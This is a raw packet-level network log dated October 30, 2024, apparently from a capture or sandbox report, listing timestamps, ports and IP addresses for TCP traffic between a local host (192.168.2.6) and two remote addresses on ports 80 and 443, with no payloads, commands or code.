Oct 30, 2024 15:59:37.965989113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966006994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966182947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966183901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966314077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966538906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966559887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966572046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966598988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966624022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966624022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966639996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966727018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966743946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966779947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966790915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966794968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966821909 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966866016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966880083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.966885090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966903925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.966979027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.042263031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042283058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042294979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042345047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042349100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.042356968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042368889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042382956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042392015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.042407036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.042475939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.042499065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.042594910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.080801964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.080848932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.080859900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.080876112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.080948114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.080948114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081156015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081203938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081214905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081279039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081279039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081285954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081298113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081413031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081423044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081438065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081465960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081518888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081794977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081813097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081878901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081878901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081881046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081897020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081909895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.081924915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.081995010 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082079887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082144976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082155943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082165003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082245111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082257032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082268953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082277060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082283020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082288980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082320929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082325935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082354069 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082390070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082722902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082777977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082789898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082818985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.082823038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082840919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.082922935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.158014059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158034086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158045053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158128977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158140898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158158064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.158193111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.158226967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158237934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158248901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.158313036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.158313990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.162434101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.162537098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.162564039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.162628889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.166894913 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.170219898 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.170219898 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.170233011 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.170248985 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.196576118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196614981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196630001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196707964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196707964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.196707964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.196723938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196739912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.196820974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197050095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197088003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197099924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197168112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197168112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197201967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197215080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197227001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197238922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197282076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197319031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197330952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197345972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197345972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197381973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197381973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197391987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197696924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197757006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197791100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197805882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197815895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.197855949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.197891951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198093891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198117971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198132992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198158026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198169947 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198230982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198245049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198257923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198271990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198282957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198287964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.198317051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198317051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.198436975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.273654938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273678064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273688078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273786068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.273786068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.273823977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273835897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273845911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273859024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.273884058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.273969889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.274054050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.274132967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.274215937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312315941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312365055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312383890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312396049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312414885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312474012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312500954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312576056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312644005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312652111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312669039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312695980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312697887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312747955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312747955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312796116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312848091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312860966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312879086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312897921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.312915087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312928915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.312984943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313194990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313225985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313237906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313249111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313256025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313282013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313282013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313380957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313458920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313544035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313555002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313575983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313616991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313628912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313646078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313776016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.313940048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.313957930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314063072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314074039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314210892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314222097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314232111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314239979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.314241886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.314269066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.314441919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.389475107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.389496088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.389508009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.389591932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.389591932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.389636040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.389648914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.389689922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.389689922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.415891886 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.416449070 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.416471004 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.417649984 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.417656898 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.427793980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.427823067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.427835941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.427859068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.427875996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.427906036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.427917957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.427953005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428097963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428144932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428160906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428173065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428190947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428203106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428215981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428221941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428247929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428267002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428281069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428292036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428323030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428348064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428630114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428673029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428675890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428684950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428714991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428720951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428724051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428735971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.428761959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.428792000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429042101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429081917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429092884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429095984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429116964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429130077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429192066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429203987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429217100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429230928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429270029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429270029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429589033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429600000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429610014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429641008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429667950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429676056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429687977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429702997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429714918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429745913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429785013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429796934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429809093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.429833889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.429855108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.430252075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.430291891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.430295944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.430308104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.430351019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.503559113 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.503725052 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.503787994 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.503978014 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.503983021 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.503995895 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.504000902 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.505055904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.505110025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.505114079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.505132914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.505147934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.505156040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.505172014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.505196095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.505263090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.505439997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.507437944 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.507476091 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.507539988 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.507733107 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:38.507744074 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:38.543545961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543557882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543607950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.543695927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543741941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.543770075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543781996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543821096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.543853998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543865919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543900013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.543934107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543946028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.543982983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544006109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544007063 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544049025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544070005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544173956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544188976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544207096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544219017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.544234037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.544262886 CET	49716	80	192.168.2.6	185.215.113.206
